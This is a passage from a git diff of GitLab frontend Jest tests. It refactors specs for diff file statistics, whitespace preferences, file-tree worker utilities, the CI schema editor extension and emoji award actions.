+ ${172800} | ${'2d'}
+ ${86400} | ${'1d'}
+ ${1000} | ${'16m'}
+ ${61} | ${'1m'}
+ ${59} | ${'<1m'}
+ ${0} | ${'-'}
+ `('will correctly parse $value seconds into $result', ({ value, result }) => {
+ expect(medianTimeToParsedSeconds(value)).toBe(result);
+ });
+ });
+
+ describe('formatMedianValues', () => {
+ const calculatedMedians = formatMedianValues(rawStageMedians);
+
+ it('returns an object with each stage and their median formatted for display', () => {
+ rawStageMedians.forEach(({ id, value }) => {
+ expect(calculatedMedians).toMatchObject({ [id]: medianTimeToParsedSeconds(value) });
});
});
});
+
+ describe('filterStagesByHiddenStatus', () => {
+ const hiddenStages = [{ title: 'three', hidden: true }];
+ const visibleStages = [
+ { title: 'one', hidden: false },
+ { title: 'two', hidden: false },
+ ];
+ const mockStages = [...visibleStages, ...hiddenStages];
+
+ it.each`
+ isHidden | result
+ ${false} | ${visibleStages}
+ ${undefined} | ${hiddenStages}
+ ${true} | ${hiddenStages}
+ `('with isHidden=$isHidden returns matching stages', ({ isHidden, result }) => {
+ expect(filterStagesByHiddenStatus(mockStages, isHidden)).toEqual(result);
+ });
+ });
});
diff --git a/spec/frontend/deploy_freeze/store/actions_spec.js b/spec/frontend/deploy_freeze/store/actions_spec.js
index 9c784f3c5a2..6bc9c4d374c 100644
--- a/spec/frontend/deploy_freeze/store/actions_spec.js
+++ b/spec/frontend/deploy_freeze/store/actions_spec.js
@@ -4,7 +4,7 @@ import Api from '~/api';
import * as actions from '~/deploy_freeze/store/actions';
import * as types from '~/deploy_freeze/store/mutation_types';
import getInitialState from '~/deploy_freeze/store/state';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { freezePeriodsFixture, timezoneDataFixture } from '../helpers';
@@ -189,9 +189,9 @@ describe('deploy freeze store actions', () => {
[{ type: types.REQUEST_FREEZE_PERIODS }],
[],
() =>
- expect(createFlash).toHaveBeenCalledWith(
- 'There was an error fetching the deploy freezes.',
- ),
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'There was an error fetching the deploy freezes.',
+ }),
);
});
});
diff --git a/spec/frontend/diffs/components/diff_content_spec.js b/spec/frontend/diffs/components/diff_content_spec.js
index db4d69f0176..7012889440c 100644
--- a/spec/frontend/diffs/components/diff_content_spec.js
+++ b/spec/frontend/diffs/components/diff_content_spec.js
@@ -73,6 +73,7 @@ describe('DiffContent', () => {
isParallelView: isParallelViewGetterMock,
getCommentFormForDiffFile: getCommentFormForDiffFileGetterMock,
diffLines: () => () => [...diffFileMockData.parallel_diff_lines],
+ fileLineCodequality: () => () => [],
},
actions: {
saveDiffDiscussion: saveDiffDiscussionMock,
diff --git a/spec/frontend/diffs/components/diff_stats_spec.js b/spec/frontend/diffs/components/diff_stats_spec.js
index 504158fb7fc..4ef1ec55cb0 100644
--- a/spec/frontend/diffs/components/diff_stats_spec.js
+++ b/spec/frontend/diffs/components/diff_stats_spec.js
@@ -1,6 +1,9 @@
import { GlIcon } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+
import DiffStats from '~/diffs/components/diff_stats.vue';
+import mockDiffFile from '../mock_data/diff_file';
const TEST_ADDED_LINES = 100;
const TEST_REMOVED_LINES = 200;
@@ -11,13 +14,15 @@ describe('diff_stats', () => {
let wrapper;
const createComponent = (props = {}) => {
- wrapper = shallowMount(DiffStats, {
- propsData: {
- addedLines: TEST_ADDED_LINES,
- removedLines: TEST_REMOVED_LINES,
- ...props,
- },
- });
+ wrapper = extendedWrapper(
+ shallowMount(DiffStats, {
+ propsData: {
+ addedLines: TEST_ADDED_LINES,
+ removedLines: TEST_REMOVED_LINES,
+ ...props,
+ },
+ }),
+ );
};
describe('diff stats group', () => {
@@ -38,15 +43,43 @@ describe('diff_stats', () => {
});
});
+ describe('bytes changes', () => {
+ let file;
+ const getBytesContainer = () => wrapper.find('.diff-stats > div:first-child');
+
+ beforeEach(() => {
+ file = {
+ ...mockDiffFile,
+ viewer: {
+ ...mockDiffFile.viewer,
+ name: 'not_diffable',
+ },
+ };
+
+ createComponent({ diffFile: file });
+ });
+
+ it("renders the bytes changes instead of line changes when the file isn't diffable", () => {
+ const content = getBytesContainer();
+
+ expect(content.classes('gl-text-green-600')).toBe(true);
+ expect(content.text()).toBe('+1.00 KiB (+100%)');
+ });
+ });
+
describe('line changes', () => {
- const findFileLine = (name) => wrapper.find(name);
+ const findFileLine = (name) => wrapper.findByTestId(name);
+
+ beforeEach(() => {
+ createComponent();
+ });
it('shows the amount of lines added', () => {
- expect(findFileLine('.js-file-addition-line').text()).toBe(TEST_ADDED_LINES.toString());
+ expect(findFileLine('js-file-addition-line').text()).toBe(TEST_ADDED_LINES.toString());
});
it('shows the amount of lines removed', () => {
- expect(findFileLine('.js-file-deletion-line').text()).toBe(TEST_REMOVED_LINES.toString());
+ expect(findFileLine('js-file-deletion-line').text()).toBe(TEST_REMOVED_LINES.toString());
});
});
diff --git a/spec/frontend/diffs/components/settings_dropdown_spec.js b/spec/frontend/diffs/components/settings_dropdown_spec.js
index feac88cb802..43b9c5871a6 100644
--- a/spec/frontend/diffs/components/settings_dropdown_spec.js
+++ b/spec/frontend/diffs/components/settings_dropdown_spec.js
@@ -142,7 +142,6 @@ describe('Diff settings dropdown component', () => {
expect(store.dispatch).toHaveBeenCalledWith('diffs/setShowWhitespace', {
showWhitespace: !checked,
- pushState: true,
});
});
});
diff --git a/spec/frontend/diffs/mock_data/diff_file.js b/spec/frontend/diffs/mock_data/diff_file.js
index cef776c885a..9ebcd5ef26b 100644
--- a/spec/frontend/diffs/mock_data/diff_file.js
+++ b/spec/frontend/diffs/mock_data/diff_file.js
@@ -19,6 +19,8 @@ export default {
renamed_file: false,
old_path: 'CHANGELOG',
new_path: 'CHANGELOG',
+ old_size: 1024,
+ new_size: 2048,
mode_changed: false,
a_mode: '100644',
b_mode: '100644',
diff --git a/spec/frontend/diffs/store/actions_spec.js b/spec/frontend/diffs/store/actions_spec.js
index f46a42fae7a..14f8e090be9 100644
--- a/spec/frontend/diffs/store/actions_spec.js
+++ b/spec/frontend/diffs/store/actions_spec.js
@@ -9,8 +9,6 @@ import {
INLINE_DIFF_VIEW_TYPE,
PARALLEL_DIFF_VIEW_TYPE,
DIFFS_PER_PAGE,
- DIFF_WHITESPACE_COOKIE_NAME,
- SHOW_WHITESPACE,
} from '~/diffs/constants';
import {
setBaseConfig,
@@ -54,7 +52,8 @@ import {
} from '~/diffs/store/actions';
import * as types from '~/diffs/store/mutation_types';
import * as utils from '~/diffs/store/utils';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import * as workerUtils from '~/diffs/utils/workers';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as commonUtils from '~/lib/utils/common_utils';
import { mergeUrlParams } from '~/lib/utils/url_utility';
@@ -252,7 +251,10 @@ describe('DiffsStoreActions', () => {
{ type: types.SET_MERGE_REQUEST_DIFFS, payload: diffMetadata.merge_request_diffs },
{ type: types.SET_DIFF_METADATA, payload: noFilesData },
// Workers are synchronous in Jest environment (see https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58805)
- { type: types.SET_TREE_DATA, payload: utils.generateTreeList(diffMetadata.diff_files) },
+ {
+ type: types.SET_TREE_DATA,
+ payload: workerUtils.generateTreeList(diffMetadata.diff_files),
+ },
],
[],
() => {
@@ -293,7 +295,9 @@ describe('DiffsStoreActions', () => {
testAction(fetchCoverageFiles, {}, { endpointCoverage }, [], [], () => {
expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith(expect.stringMatching('Something went wrong'));
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expect.stringMatching('Something went wrong'),
+ });
done();
});
});
@@ -1013,14 +1017,26 @@ describe('DiffsStoreActions', () => {
});
describe('setShowWhitespace', () => {
+ const endpointUpdateUser = 'user/prefs';
+ let putSpy;
+ let mock;
+
beforeEach(() => {
+ mock = new MockAdapter(axios);
+ putSpy = jest.spyOn(axios, 'put');
+
+ mock.onPut(endpointUpdateUser).reply(200, {});
jest.spyOn(eventHub, '$emit').mockImplementation();
});
+ afterEach(() => {
+ mock.restore();
+ });
+
it('commits SET_SHOW_WHITESPACE', (done) => {
testAction(
setShowWhitespace,
- { showWhitespace: true },
+ { showWhitespace: true, updateDatabase: false },
{},
[{ type: types.SET_SHOW_WHITESPACE, payload: true }],
[],
@@ -1028,32 +1044,20 @@ describe('DiffsStoreActions', () => {
);
});
- it('sets cookie', () => {
- setShowWhitespace({ commit() {} }, { showWhitespace: true });
-
- expect(Cookies.get(DIFF_WHITESPACE_COOKIE_NAME)).toEqual(SHOW_WHITESPACE);
- });
-
- it('calls history pushState', () => {
- setShowWhitespace({ commit() {} }, { showWhitespace: true, pushState: true });
-
- expect(window.history.pushState).toHaveBeenCalled();
- });
-
- it('calls history pushState with merged params', () => {
- window.history.pushState({}, '', '?test=1');
-
- setShowWhitespace({ commit() {} }, { showWhitespace: true, pushState: true });
-
- expect(
- window.history.pushState.mock.calls[window.history.pushState.mock.calls.length - 1][2],
- ).toMatch(/(.*)\?test=1&w=0/);
+ it('saves to the database', async () => {
+ await setShowWhitespace(
+ { state: { endpointUpdateUser }, commit() {} },
+ { showWhitespace: true, updateDatabase: true },
+ );
- window.history.pushState({}, '', '?');
+ expect(putSpy).toHaveBeenCalledWith(endpointUpdateUser, { show_whitespace_in_diffs: true });
});
- it('emits eventHub event', () => {
- setShowWhitespace({ commit() {} }, { showWhitespace: true, pushState: true });
+ it('emits eventHub event', async () => {
+ await setShowWhitespace(
+ { state: {}, commit() {} },
+ { showWhitespace: true, updateDatabase: false },
+ );
expect(eventHub.$emit).toHaveBeenCalledWith('refetchDiffData');
});
diff --git a/spec/frontend/diffs/store/utils_spec.js b/spec/frontend/diffs/store/utils_spec.js
index 6af38590610..73de0a6d381 100644
--- a/spec/frontend/diffs/store/utils_spec.js
+++ b/spec/frontend/diffs/store/utils_spec.js
@@ -685,141 +685,6 @@ describe('DiffsStoreUtils', () => {
});
});
- describe('generateTreeList', () => {
- let files;
-
- beforeAll(() => {
- files = [
- {
- new_path: 'app/index.js',
- deleted_file: false,
- new_file: false,
- removed_lines: 10,
- added_lines: 0,
- file_hash: 'test',
- },
- {
- new_path: 'app/test/index.js',
- deleted_file: false,
- new_file: true,
- removed_lines: 0,
- added_lines: 0,
- file_hash: 'test',
- },
- {
- new_path: 'app/test/filepathneedstruncating.js',
- deleted_file: false,
- new_file: true,
- removed_lines: 0,
- added_lines: 0,
- file_hash: 'test',
- },
- {
- new_path: 'package.json',
- deleted_file: true,
- new_file: false,
- removed_lines: 0,
- added_lines: 0,
- file_hash: 'test',
- },
- ];
- });
-
- it('creates a tree of files', () => {
- const { tree } = utils.generateTreeList(files);
-
- expect(tree).toEqual([
- {
- key: 'app',
- path: 'app',
- name: 'app',
- type: 'tree',
- tree: [
- {
- addedLines: 0,
- changed: true,
- deleted: false,
- fileHash: 'test',
- key: 'app/index.js',
- name: 'index.js',
- parentPath: 'app/',
- path: 'app/index.js',
- removedLines: 10,
- tempFile: false,
- type: 'blob',
- tree: [],
- },
- {
- key: 'app/test',
- path: 'app/test',
- name: 'test',
- type: 'tree',
- opened: true,
- tree: [
- {
- addedLines: 0,
- changed: true,
- deleted: false,
- fileHash: 'test',
- key: 'app/test/index.js',
- name: 'index.js',
- parentPath: 'app/test/',
- path: 'app/test/index.js',
- removedLines: 0,
- tempFile: true,
- type: 'blob',
- tree: [],
- },
- {
- addedLines: 0,
- changed: true,
- deleted: false,
- fileHash: 'test',
- key: 'app/test/filepathneedstruncating.js',
- name: 'filepathneedstruncating.js',
- parentPath: 'app/test/',
- path: 'app/test/filepathneedstruncating.js',
- removedLines: 0,
- tempFile: true,
- type: 'blob',
- tree: [],
- },
- ],
- },
- ],
- opened: true,
- },
- {
- key: 'package.json',
- parentPath: '/',
- path: 'package.json',
- name: 'package.json',
- type: 'blob',
- changed: true,
- tempFile: false,
- deleted: true,
- fileHash: 'test',
- addedLines: 0,
- removedLines: 0,
- tree: [],
- },
- ]);
- });
-
- it('creates flat list of blobs & folders', () => {
- const { treeEntries } = utils.generateTreeList(files);
-
- expect(Object.keys(treeEntries)).toEqual([
- 'app',
- 'app/index.js',
- 'app/test',
- 'app/test/index.js',
- 'app/test/filepathneedstruncating.js',
- 'package.json',
- ]);
- });
- });
-
describe('getDiffMode', () => {
it('returns mode when matched in file', () => {
expect(
@@ -842,177 +707,6 @@ describe('DiffsStoreUtils', () => {
});
});
- describe('getLowestSingleFolder', () => {
- it('returns path and tree of lowest single folder tree', () => {
- const folder = {
- name: 'app',
- type: 'tree',
- tree: [
- {
- name: 'javascripts',
- type: 'tree',
- tree: [
- {
- type: 'blob',
- name: 'index.js',
- },
- ],
- },
- ],
- };
- const { path, treeAcc } = utils.getLowestSingleFolder(folder);
-
- expect(path).toEqual('app/javascripts');
- expect(treeAcc).toEqual([
- {
- type: 'blob',
- name: 'index.js',
- },
- ]);
- });
-
- it('returns passed in folders path & tree when more than tree exists', () => {
- const folder = {
- name: 'app',
- type: 'tree',
- tree: [
- {
- name: 'spec',
- type: 'blob',
- tree: [],
- },
- ],
- };
- const { path, treeAcc } = utils.getLowestSingleFolder(folder);
-
- expect(path).toEqual('app');
- expect(treeAcc).toBeNull();
- });
- });
-
- describe('flattenTree', () => {
- it('returns flattened directory structure', () => {
- const tree = [
- {
- type: 'tree',
- name: 'app',
- tree: [
- {
- type: 'tree',
- name: 'javascripts',
- tree: [
- {
- type: 'blob',
- name: 'index.js',
- tree: [],
- },
- ],
- },
- ],
- },
- {
- type: 'tree',
- name: 'ee',
- tree: [
- {
- type: 'tree',
- name: 'lib',
- tree: [
- {
- type: 'tree',
- name: 'ee',
- tree: [
- {
- type: 'tree',
- name: 'gitlab',
- tree: [
- {
- type: 'tree',
- name: 'checks',
- tree: [
- {
- type: 'tree',
- name: 'longtreenametomakepath',
- tree: [
- {
- type: 'blob',
- name: 'diff_check.rb',
- tree: [],
- },
- ],
- },
- ],
- },
- ],
- },
- ],
- },
- ],
- },
- ],
- },
- {
- type: 'tree',
- name: 'spec',
- tree: [
- {
- type: 'tree',
- name: 'javascripts',
- tree: [],
- },
- {
- type: 'blob',
- name: 'index_spec.js',
- tree: [],
- },
- ],
- },
- ];
- const flattened = utils.flattenTree(tree);
-
- expect(flattened).toEqual([
- {
- type: 'tree',
- name: 'app/javascripts',
- tree: [
- {
- type: 'blob',
- name: 'index.js',
- tree: [],
- },
- ],
- },
- {
- type: 'tree',
- name: 'ee/lib/…/…/…/longtreenametomakepath',
- tree: [
- {
- name: 'diff_check.rb',
- tree: [],
- type: 'blob',
- },
- ],
- },
- {
- type: 'tree',
- name: 'spec',
- tree: [
- {
- type: 'tree',
- name: 'javascripts',
- tree: [],
- },
- {
- type: 'blob',
- name: 'index_spec.js',
- tree: [],
- },
- ],
- },
- ]);
- });
- });
-
describe('convertExpandLines', () => {
it('converts expanded lines to normal lines', () => {
const diffLines = [
@@ -1058,28 +752,6 @@ describe('DiffsStoreUtils', () => {
});
});
- describe('getDefaultWhitespace', () => {
- it('defaults to true if querystring and cookie are undefined', () => {
- expect(utils.getDefaultWhitespace()).toBe(true);
- });
-
- it('returns false if querystring is `1`', () => {
- expect(utils.getDefaultWhitespace('1', '0')).toBe(false);
- });
-
- it('returns true if querystring is `0`', () => {
- expect(utils.getDefaultWhitespace('0', undefined)).toBe(true);
- });
-
- it('returns false if cookie is `1`', () => {
- expect(utils.getDefaultWhitespace(undefined, '1')).toBe(false);
- });
-
- it('returns true if cookie is `0`', () => {
- expect(utils.getDefaultWhitespace(undefined, '0')).toBe(true);
- });
- });
-
describe('isAdded', () => {
it.each`
type | expected
diff --git a/spec/frontend/diffs/utils/diff_file_spec.js b/spec/frontend/diffs/utils/diff_file_spec.js
index c6cfdfced65..3223b6c2dab 100644
--- a/spec/frontend/diffs/utils/diff_file_spec.js
+++ b/spec/frontend/diffs/utils/diff_file_spec.js
@@ -1,4 +1,11 @@
-import { prepareRawDiffFile, getShortShaFromFile } from '~/diffs/utils/diff_file';
+import {
+ prepareRawDiffFile,
+ getShortShaFromFile,
+ stats,
+ isNotDiffable,
+} from '~/diffs/utils/diff_file';
+import { diffViewerModes } from '~/ide/constants';
+import mockDiffFile from '../mock_data/diff_file';
function getDiffFiles() {
const loadFull = 'namespace/project/-/merge_requests/12345/diff_for_path?file_identifier=abc';
@@ -154,4 +161,73 @@ describe('diff_file utilities', () => {
expect(getShortShaFromFile({ content_sha: cs })).toBe(response);
});
});
+
+ describe('stats', () => {
+ const noFile = [
+ "returns empty stats when the file isn't provided",
+ undefined,
+ {
+ text: '',
+ percent: 0,
+ changed: 0,
+ classes: '',
+ sign: '',
+ valid: false,
+ },
+ ];
+ const validFile = [
+ 'computes the correct stats from a file',
+ mockDiffFile,
+ {
+ changed: 1024,
+ percent: 100,
+ classes: 'gl-text-green-600',
+ sign: '+',
+ text: '+1.00 KiB (+100%)',
+ valid: true,
+ },
+ ];
+ const negativeChange = [
+ 'computed the correct states from a file with a negative size change',
+ {
+ ...mockDiffFile,
+ new_size: 0,
+ old_size: 1024,
+ },
+ {
+ changed: -1024,
+ percent: -100,
+ classes: 'gl-text-red-500',
+ sign: '',
+ text: '-1.00 KiB (-100%)',
+ valid: true,
+ },
+ ];
+
+ it.each([noFile, validFile, negativeChange])('%s', (_, file, output) => {
+ expect(stats(file)).toEqual(output);
+ });
+ });
+
+ describe('isNotDiffable', () => {
+ it.each`
+ bool | vw
+ ${true} | ${diffViewerModes.not_diffable}
+ ${false} | ${diffViewerModes.text}
+ ${false} | ${diffViewerModes.image}
+ `('returns $bool when the viewer is $vw', ({ bool, vw }) => {
+ expect(isNotDiffable({ viewer: { name: vw } })).toBe(bool);
+ });
+
+ it.each`
+ file
+ ${undefined}
+ ${null}
+ ${{}}
+ ${{ viewer: undefined }}
+ ${{ viewer: null }}
+ `('reports `false` when the file is `$file`', ({ file }) => {
+ expect(isNotDiffable(file)).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/diffs/utils/workers_spec.js b/spec/frontend/diffs/utils/workers_spec.js
new file mode 100644
index 00000000000..25d8183b777
--- /dev/null
+++ b/spec/frontend/diffs/utils/workers_spec.js
@@ -0,0 +1,309 @@
+import { generateTreeList, getLowestSingleFolder, flattenTree } from '~/diffs/utils/workers';
+
+describe('~/diffs/utils/workers', () => {
+ describe('generateTreeList', () => {
+ let files;
+
+ beforeAll(() => {
+ files = [
+ {
+ new_path: 'app/index.js',
+ deleted_file: false,
+ new_file: false,
+ removed_lines: 10,
+ added_lines: 0,
+ file_hash: 'test',
+ },
+ {
+ new_path: 'app/test/index.js',
+ deleted_file: false,
+ new_file: true,
+ removed_lines: 0,
+ added_lines: 0,
+ file_hash: 'test',
+ },
+ {
+ new_path: 'app/test/filepathneedstruncating.js',
+ deleted_file: false,
+ new_file: true,
+ removed_lines: 0,
+ added_lines: 0,
+ file_hash: 'test',
+ },
+ {
+ new_path: 'package.json',
+ deleted_file: true,
+ new_file: false,
+ removed_lines: 0,
+ added_lines: 0,
+ file_hash: 'test',
+ },
+ ];
+ });
+
+ it('creates a tree of files', () => {
+ const { tree } = generateTreeList(files);
+
+ expect(tree).toEqual([
+ {
+ key: 'app',
+ path: 'app',
+ name: 'app',
+ type: 'tree',
+ tree: [
+ {
+ addedLines: 0,
+ changed: true,
+ deleted: false,
+ fileHash: 'test',
+ key: 'app/index.js',
+ name: 'index.js',
+ parentPath: 'app/',
+ path: 'app/index.js',
+ removedLines: 10,
+ tempFile: false,
+ type: 'blob',
+ tree: [],
+ },
+ {
+ key: 'app/test',
+ path: 'app/test',
+ name: 'test',
+ type: 'tree',
+ opened: true,
+ tree: [
+ {
+ addedLines: 0,
+ changed: true,
+ deleted: false,
+ fileHash: 'test',
+ key: 'app/test/index.js',
+ name: 'index.js',
+ parentPath: 'app/test/',
+ path: 'app/test/index.js',
+ removedLines: 0,
+ tempFile: true,
+ type: 'blob',
+ tree: [],
+ },
+ {
+ addedLines: 0,
+ changed: true,
+ deleted: false,
+ fileHash: 'test',
+ key: 'app/test/filepathneedstruncating.js',
+ name: 'filepathneedstruncating.js',
+ parentPath: 'app/test/',
+ path: 'app/test/filepathneedstruncating.js',
+ removedLines: 0,
+ tempFile: true,
+ type: 'blob',
+ tree: [],
+ },
+ ],
+ },
+ ],
+ opened: true,
+ },
+ {
+ key: 'package.json',
+ parentPath: '/',
+ path: 'package.json',
+ name: 'package.json',
+ type: 'blob',
+ changed: true,
+ tempFile: false,
+ deleted: true,
+ fileHash: 'test',
+ addedLines: 0,
+ removedLines: 0,
+ tree: [],
+ },
+ ]);
+ });
+
+ it('creates flat list of blobs & folders', () => {
+ const { treeEntries } = generateTreeList(files);
+
+ expect(Object.keys(treeEntries)).toEqual([
+ 'app',
+ 'app/index.js',
+ 'app/test',
+ 'app/test/index.js',
+ 'app/test/filepathneedstruncating.js',
+ 'package.json',
+ ]);
+ });
+ });
+
+ describe('getLowestSingleFolder', () => {
+ it('returns path and tree of lowest single folder tree', () => {
+ const folder = {
+ name: 'app',
+ type: 'tree',
+ tree: [
+ {
+ name: 'javascripts',
+ type: 'tree',
+ tree: [
+ {
+ type: 'blob',
+ name: 'index.js',
+ },
+ ],
+ },
+ ],
+ };
+ const { path, treeAcc } = getLowestSingleFolder(folder);
+
+ expect(path).toEqual('app/javascripts');
+ expect(treeAcc).toEqual([
+ {
+ type: 'blob',
+ name: 'index.js',
+ },
+ ]);
+ });
+
+ it('returns passed in folders path & tree when more than tree exists', () => {
+ const folder = {
+ name: 'app',
+ type: 'tree',
+ tree: [
+ {
+ name: 'spec',
+ type: 'blob',
+ tree: [],
+ },
+ ],
+ };
+ const { path, treeAcc } = getLowestSingleFolder(folder);
+
+ expect(path).toEqual('app');
+ expect(treeAcc).toBeNull();
+ });
+ });
+
+ describe('flattenTree', () => {
+ it('returns flattened directory structure', () => {
+ const tree = [
+ {
+ type: 'tree',
+ name: 'app',
+ tree: [
+ {
+ type: 'tree',
+ name: 'javascripts',
+ tree: [
+ {
+ type: 'blob',
+ name: 'index.js',
+ tree: [],
+ },
+ ],
+ },
+ ],
+ },
+ {
+ type: 'tree',
+ name: 'ee',
+ tree: [
+ {
+ type: 'tree',
+ name: 'lib',
+ tree: [
+ {
+ type: 'tree',
+ name: 'ee',
+ tree: [
+ {
+ type: 'tree',
+ name: 'gitlab',
+ tree: [
+ {
+ type: 'tree',
+ name: 'checks',
+ tree: [
+ {
+ type: 'tree',
+ name: 'longtreenametomakepath',
+ tree: [
+ {
+ type: 'blob',
+ name: 'diff_check.rb',
+ tree: [],
+ },
+ ],
+ },
+ ],
+ },
+ ],
+ },
+ ],
+ },
+ ],
+ },
+ ],
+ },
+ {
+ type: 'tree',
+ name: 'spec',
+ tree: [
+ {
+ type: 'tree',
+ name: 'javascripts',
+ tree: [],
+ },
+ {
+ type: 'blob',
+ name: 'index_spec.js',
+ tree: [],
+ },
+ ],
+ },
+ ];
+ const flattened = flattenTree(tree);
+
+ expect(flattened).toEqual([
+ {
+ type: 'tree',
+ name: 'app/javascripts',
+ tree: [
+ {
+ type: 'blob',
+ name: 'index.js',
+ tree: [],
+ },
+ ],
+ },
+ {
+ type: 'tree',
+ name: 'ee/lib/…/…/…/longtreenametomakepath',
+ tree: [
+ {
+ name: 'diff_check.rb',
+ tree: [],
+ type: 'blob',
+ },
+ ],
+ },
+ {
+ type: 'tree',
+ name: 'spec',
+ tree: [
+ {
+ type: 'tree',
+ name: 'javascripts',
+ tree: [],
+ },
+ {
+ type: 'blob',
+ name: 'index_spec.js',
+ tree: [],
+ },
+ ],
+ },
+ ]);
+ });
+ });
+});
diff --git a/spec/frontend/editor/editor_ci_schema_ext_spec.js b/spec/frontend/editor/editor_ci_schema_ext_spec.js
index 17a9ae7335f..2f0ecfb151e 100644
--- a/spec/frontend/editor/editor_ci_schema_ext_spec.js
+++ b/spec/frontend/editor/editor_ci_schema_ext_spec.js
@@ -4,6 +4,8 @@ import { EXTENSION_CI_SCHEMA_FILE_NAME_MATCH } from '~/editor/constants';
import EditorLite from '~/editor/editor_lite';
import { CiSchemaExtension } from '~/editor/extensions/editor_ci_schema_ext';
+const mockRef = 'AABBCCDD';
+
describe('~/editor/editor_ci_config_ext', () => {
const defaultBlobPath = '.gitlab-ci.yml';
@@ -75,8 +77,6 @@ describe('~/editor/editor_ci_config_ext', () => {
});
it('with an schema uri that contains project and ref', () => {
- const mockRef = 'AABBCCDD';
-
instance.registerCiSchema({
projectNamespace: mockProjectNamespace,
projectPath: mockProjectPath,
@@ -95,10 +95,11 @@ describe('~/editor/editor_ci_config_ext', () => {
instance.registerCiSchema({
projectNamespace: mockProjectNamespace,
projectPath: mockProjectPath,
+ ref: mockRef,
});
expect(getConfiguredYmlSchema()).toEqual({
- uri: `${TEST_HOST}/${mockProjectNamespace}/${mockProjectPath}/-/schema/master/${EXTENSION_CI_SCHEMA_FILE_NAME_MATCH}`,
+ uri: `${TEST_HOST}/${mockProjectNamespace}/${mockProjectPath}/-/schema/${mockRef}/${EXTENSION_CI_SCHEMA_FILE_NAME_MATCH}`,
fileMatch: ['another-ci-filename.yml'],
});
});
diff --git a/spec/frontend/emoji/awards_app/store/actions_spec.js b/spec/frontend/emoji/awards_app/store/actions_spec.js
index dac4fded260..e96920d1112 100644
--- a/spec/frontend/emoji/awards_app/store/actions_spec.js
+++ b/spec/frontend/emoji/awards_app/store/actions_spec.js
@@ -7,6 +7,10 @@ import axios from '~/lib/utils/axios_utils';
jest.mock('@sentry/browser');
describe('Awards app actions', () => {
+ afterEach(() => {
+ window.gon = {};
+ });
+
describe('setInitialData', () => {
it('commits SET_INITIAL_DATA', async () => {
await testAction(
@@ -31,21 +35,36 @@ describe('Awards app actions', () => {
});
describe('success', () => {
- beforeEach(() => {
- mock
- .onGet('/awards', { params: { per_page: 100, page: '1' } })
- .reply(200, ['thumbsup'], { 'x-next-page': '2' });
- mock.onGet('/awards', { params: { per_page: 100, page: '2' } }).reply(200, ['thumbsdown']);
- });
+ describe.each`
+ relativeRootUrl
+ ${null}
+ ${'/gitlab'}
+ `('with relative_root_url as $relativeRootUrl', ({ relativeRootUrl }) => {
+ beforeEach(() => {
+ window.gon = { relative_url_root: relativeRootUrl };
+ mock
+ .onGet(`${relativeRootUrl || ''}/awards`, { params: { per_page: 100, page: '1' } })
+ .reply(200, ['thumbsup'], { 'x-next-page': '2' });
+ mock
+ .onGet(`${relativeRootUrl || ''}/awards`, { params: { per_page: 100, page: '2' } })
+ .reply(200, ['thumbsdown']);
+ });
+
+ it('commits FETCH_AWARDS_SUCCESS', async () => {
+ window.gon.current_user_id = 1;
- it('commits FETCH_AWARDS_SUCCESS', async () => {
- await testAction(
- actions.fetchAwards,
- '1',
- { path: '/awards' },
- [{ type: 'FETCH_AWARDS_SUCCESS', payload: ['thumbsup'] }],
- [{ type: 'fetchAwards', payload: '2' }],
- );
+ await testAction(
+ actions.fetchAwards,
+ '1',
+ { path: '/awards' },
+ [{ type: 'FETCH_AWARDS_SUCCESS', payload: ['thumbsup'] }],
+ [{ type: 'fetchAwards', payload: '2' }],
+ );
+ });
+
+ it('does not commit FETCH_AWARDS_SUCCESS when user signed out', async () => {
+ await testAction(actions.fetchAwards, '1', { path: '/awards' }, [], []);
+ });
});
});
@@ -55,6 +74,8 @@ describe('Awards app actions', () => {
});
it('calls Sentry.captureException', async () => {
+ window.gon = { current_user_id: 1 };
+
await testAction(actions.fetchAwards, null, { path: '/awards' }, [], [], () => {
expect(Sentry.captureException).toHaveBeenCalled();
});
@@ -73,81 +94,91 @@ describe('Awards app actions', () => {
mock.restore();
});
- describe('adding new award', () => {
- describe('success', () => {
- beforeEach(() => {
- mock.onPost('/awards').reply(200, { id: 1 });
- });
-
- it('commits ADD_NEW_AWARD', async () => {
- testAction(actions.toggleAward, null, { path: '/awards', awards: [] }, [
- { type: 'ADD_NEW_AWARD', payload: { id: 1 } },
- ]);
- });
- });
-
- describe('error', () => {
- beforeEach(() => {
- mock.onPost('/awards').reply(500);
- });
-
- it('calls Sentry.captureException', async () => {
- await testAction(
- actions.toggleAward,
- null,
- { path: '/awards', awards: [] },
- [],
- [],
- () => {
- expect(Sentry.captureException).toHaveBeenCalled();
- },
- );
- });
+ describe.each`
+ relativeRootUrl
+ ${null}
+ ${'/gitlab'}
+ `('with relative_root_url as $relativeRootUrl', ({ relativeRootUrl }) => {
+ beforeEach(() => {
+ window.gon = { relative_url_root: relativeRootUrl };
});
- });
- describe('removing a award', () => {
- const mockData = { id: 1, name: 'thumbsup', user: { id: 1 } };
-
- describe('success', () => {
- beforeEach(() => {
- mock.onDelete('/awards/1').reply(200);
+ describe('adding new award', () => {
+ describe('success', () => {
+ beforeEach(() => {
+ mock.onPost(`${relativeRootUrl || ''}/awards`).reply(200, { id: 1 });
+ });
+
+ it('commits ADD_NEW_AWARD', async () => {
+ testAction(actions.toggleAward, null, { path: '/awards', awards: [] }, [
+ { type: 'ADD_NEW_AWARD', payload: { id: 1 } },
+ ]);
+ });
});
- it('commits REMOVE_AWARD', async () => {
- testAction(
- actions.toggleAward,
- 'thumbsup',
- {
- path: '/awards',
- currentUserId: 1,
- awards: [mockData],
- },
- [{ type: 'REMOVE_AWARD', payload: 1 }],
- );
+ describe('error', () => {
+ beforeEach(() => {
+ mock.onPost(`${relativeRootUrl || ''}/awards`).reply(500);
+ });
+
+ it('calls Sentry.captureException', async () => {
+ await testAction(
+ actions.toggleAward,
+ null,
+ { path: '/awards', awards: [] },
+ [],
+ [],
+ () => {
